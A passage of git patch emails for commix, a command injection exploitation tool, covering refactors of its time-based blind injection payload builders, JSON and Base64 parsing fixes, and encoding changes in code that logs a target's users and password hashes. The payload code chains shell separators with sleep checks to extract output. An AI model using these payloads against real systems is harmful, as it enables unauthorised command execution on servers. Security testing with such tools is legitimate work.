time\ntime.sleep(" + str(timesec) + ")\") " ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -158,15 +151,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload """ @@ -209,7 +194,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: pass - else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : @@ -228,7 +212,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $" + settings.RANDOM_VAR_GENERATOR + "1 > " + OUTPUT_TEXTFILE + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -246,9 +229,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" cmd = cmd.rstrip() @@ -281,7 +262,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -296,7 +276,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ ) else: pass - else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : @@ -309,7 +288,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -321,9 +299,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -334,15 +310,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload """ @@ -358,7 +326,6 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -370,7 +337,6 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) else: pass - else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -381,7 +347,6 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "then sleep " + str(timesec) + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -392,9 +357,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -408,7 +371,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) else: pass - # + return payload """ @@ -435,7 +398,6 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - else: pass @@ -448,7 +410,6 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -458,9 +419,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -470,14 +429,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t else: pass - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + # New line fixation + payload = checks.payload_newline_fixation(payload) return payload """ @@ -493,7 +446,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -503,7 +455,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: pass @@ -516,7 +467,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "then sleep " + str(timesec) + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -526,9 +476,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "[ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -538,7 +486,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: pass - return payload """ @@ -566,7 +513,6 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, ) else: pass - else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -576,7 +522,6 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -586,9 +531,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -598,15 +541,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + # New line fixation + payload = checks.payload_newline_fixation(payload) return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index e393a13547..683a5fb07d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a69ad8e5542259a5914ba25231e27a1ba1b1dbcd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 25 May 2025 12:13:01 +0300 Subject: [PATCH 0554/1023] Minor bug fix regarding commit: https://github.com/commixproject/commix/commit/f41ef7af26a5adf2bebd58905da41eddc85aafc1 --- src/core/injections/controller/checks.py | 16 +++++++++------- src/core/requests/parameters.py | 11 +++++++++-- src/utils/settings.py | 3 ++- 3 files changed, 20 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b965076b6b..fbc464c637 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2070,13 +2070,14 @@ def check_quotes_json_data(data): # Check if valid JSON def is_JSON_check(parameter): - if not settings.IS_JSON: - try: - # Attempt to load the JSON string - json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) - return True - except json.JSONDecodeError as err_msg: - # Handle JSONDecodeError and identify common issues + try: + # Attempt to load the JSON string + json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) + settings.IS_VALID_JSON = True + return settings.IS_VALID_JSON + except json.JSONDecodeError as err_msg: + # Handle JSONDecodeError and identify common issues + if settings.IS_JSON and not settings.IS_VALID_JSON: error_str = str(err_msg) if "No JSON object could be decoded" in error_str: err_msg = "JSON is invalid. No valid JSON object found." @@ -2087,6 +2088,7 @@ def is_JSON_check(parameter): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # Process with JSON data def process_data(data_type, http_request_method): while True: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 7c72014f0d..a97fae4ddd 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -224,8 +224,15 @@ def do_POST_check(parameter, http_request_method): """ def multi_params_get_value(param, all_params): - if len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or json.loads(all_params[0]) == {})): - checks.no_parameters_found() + def is_empty_json_str(s): + try: + return json.loads(s) == {} + except Exception: + return False + + # Check if parameters are empty or meaningless + if (len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or is_empty_json_str(all_params[0])))): + checks.no_parameters_found() if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) diff --git a/src/utils/settings.py b/src/utils/settings.py index 683a5fb07d..8f8b344c98 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1006,6 +1006,7 @@ class INJECTION_TECHNIQUE(object): # JSON Data IS_JSON = False +IS_VALID_JSON = False # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") From 6bfad61c7c94886f9dcfabf7c7f4914497f31351 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 26 May 2025 07:20:18 +0300 Subject: [PATCH 0555/1023] Minor code refactoring to enhance file I/O reliability --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 36 ++++++++++++------------ src/utils/crawler.py | 2 +- src/utils/logs.py | 10 +++---- src/utils/settings.py | 2 +- 5 files changed, 26 insertions(+), 25 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 125c7f3a69..519ae1453c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring to enhance file I/O reliability. * Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. * Revised: Improved key transformation for nested structures using bracket notation and dot syntax. * Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fbc464c637..6804d4432d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -636,9 +636,9 @@ def page_encoding(response, action): _ = False try: if action == "encode" and type(page) == str: - return page.encode(settings.DEFAULT_CODEC, errors="ignore") + return page.encode(settings.DEFAULT_CODEC, errors="replace") else: - return page.decode(settings.DEFAULT_CODEC, errors="ignore") + return page.decode(settings.DEFAULT_CODEC, errors="replace") except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " _ = True @@ -2176,7 +2176,7 @@ def print_ps_version(ps_version, filename, _): info_msg = "Powershell version: " + ps_version settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2197,7 +2197,7 @@ def print_hostname(shell, filename, _): info_msg = "Hostname: " + str(shell) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2215,7 +2215,7 @@ def print_current_user(cu_account, filename, _): info_msg = "Current user: " + str(cu_account) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2238,7 +2238,7 @@ def print_current_user_privs(shell, filename, _): info_msg = "Current user has excessive privileges: " + str(priv) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2252,7 +2252,7 @@ def print_os_info(target_os, target_arch, filename, _): info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2322,7 +2322,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi info_msg += " [" + str(len(sys_users_list)) + "]:" settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) count = 0 @@ -2331,7 +2331,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi is_privileged = is_privileged = "" settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : output_file.write("\n") @@ -2364,7 +2364,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() settings.print_data_to_stdout(sys_users) - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(" " + sys_users) else: @@ -2379,7 +2379,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi info_msg += " [" + str(len(sys_users_list)) + "]:" settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) count = 0 @@ -2418,7 +2418,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi is_privileged_nh = "" settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : output_file.write("\n") @@ -2430,7 +2430,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) settings.print_data_to_stdout(sys_users) - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(" " + sys_users) else: @@ -2460,7 +2460,7 @@ def print_passes(sys_passes, filename, _, alter_shell): info_msg += " password hashes [" + str(len(sys_passes)) + "]:" settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) count = 0 @@ -2472,7 +2472,7 @@ def print_passes(sys_passes, filename, _, alter_shell): if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": settings.print_data_to_stdout(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : output_file.write("\n") @@ -2484,7 +2484,7 @@ def print_passes(sys_passes, filename, _, alter_shell): warn_msg += "in the appropriate format. Thus, it is expoted as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.print_data_to_stdout(fields[0]) - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(" " + fields[0]) else: @@ -2500,7 +2500,7 @@ def print_single_os_cmd(cmd, output, filename): _ = "'" + cmd + "' execution output" settings.print_data_to_stdout(settings.print_retrieved_data(_, output)) try: - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") except TypeError: @@ -2632,7 +2632,7 @@ def file_read_status(shell, file_to_read, filename): if shell: _ = "Fetched file content" settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + "\n" diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 270f00d507..19da0478ef 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -111,7 +111,7 @@ def store_crawling(output_href): filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - with open(filename, "a") as crawling_results: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as crawling_results: for url in output_href: crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + "\n") return diff --git a/src/utils/logs.py b/src/utils/logs.py index 02fcf41b65..6d419b6e77 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -104,7 +104,7 @@ def create_log_file(url, output_dir): # The logs filename construction. filename = logs_path + settings.OUTPUT_FILE try: - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write("\n" + "=" * 37) output_file.write("\n" + "| Started in " + \ @@ -132,7 +132,7 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech if export_injection_info == False: settings.SHOW_LOGS_MSG = True - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) @@ -143,7 +143,7 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech Add the vulnerable parameter in log files. """ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if header_name[1:] == settings.COOKIE.lower(): header_name = " ("+ header_name[1:] + ") " + vuln_parameter @@ -158,7 +158,7 @@ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, Add any payload in log files. """ def update_payload(filename, counter, payload): - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if "\n" in payload: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") @@ -171,7 +171,7 @@ def update_payload(filename, counter, payload): """ def executed_command(filename, cmd, output): try: - with open(filename, 'a') as output_file: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") diff --git a/src/utils/settings.py b/src/utils/settings.py index 8f8b344c98..95b58a1ff0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e822d4918f91561d05bc84cddc4408f3ccda86b7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 27 May 2025 08:07:10 +0300 Subject: [PATCH 0556/1023] Fixes https://github.com/commixproject/commix/issues/1013 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/parser.py | 12 +++++++++++- src/utils/settings.py | 2 +- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 519ae1453c..ef22c96e82 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. * Revised: Minor code refactoring to enhance file I/O reliability. * Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. * Revised: Improved key transformation for nested structures using bracket notation and dot syntax. diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 0c28a823f3..c5aa1b58ea 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -142,7 +142,17 @@ def invalid_data(request): if auth_provided: menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + # menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + try: + # Add base64 padding if missing + b64_string = auth_provided[1] + b64_string += '=' * (-len(b64_string) % 4) + menu.options.auth_cred = base64.b64decode(b64_string).decode() + except (binascii.Error, UnicodeDecodeError) as e: + err_msg = "Invalid base64-encoded credentials provided in Authorization header: " + format(str(e)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: err_msg = "Use the '--auth-cred' option to provide a valid pair of " diff --git a/src/utils/settings.py b/src/utils/settings.py index 95b58a1ff0..7b24b7c42c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4fed16d0b6c50be74a1ec51f1163865c8df569cb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 29 May 2025 09:42:01 +0300 Subject: [PATCH 0557/1023] Fixes https://github.com/commixproject/commix/issues/1015 --- doc/CHANGELOG.md | 1 + src/utils/common.py | 14 +++++++++++++- src/utils/settings.py | 2 +- 3 files changed, 15 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ef22c96e82..bdb3c55912 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Improved handling of terminal input to prevent encoding errors. * Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. * Revised: Minor code refactoring to enhance file I/O reliability. * Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. diff --git a/src/utils/common.py b/src/utils/common.py index 8794fcce53..c522355a47 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -41,12 +41,24 @@ def invalid_option(option): err_msg = "'" + option + "' is not a valid answer." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Reads input from terminal safely +""" +def safe_input(message): + try: + return _input(message) + except UnicodeDecodeError as e: + return _input(message.encode("utf-8", "ignore").decode("utf-8")) + except Exception as err_msg: 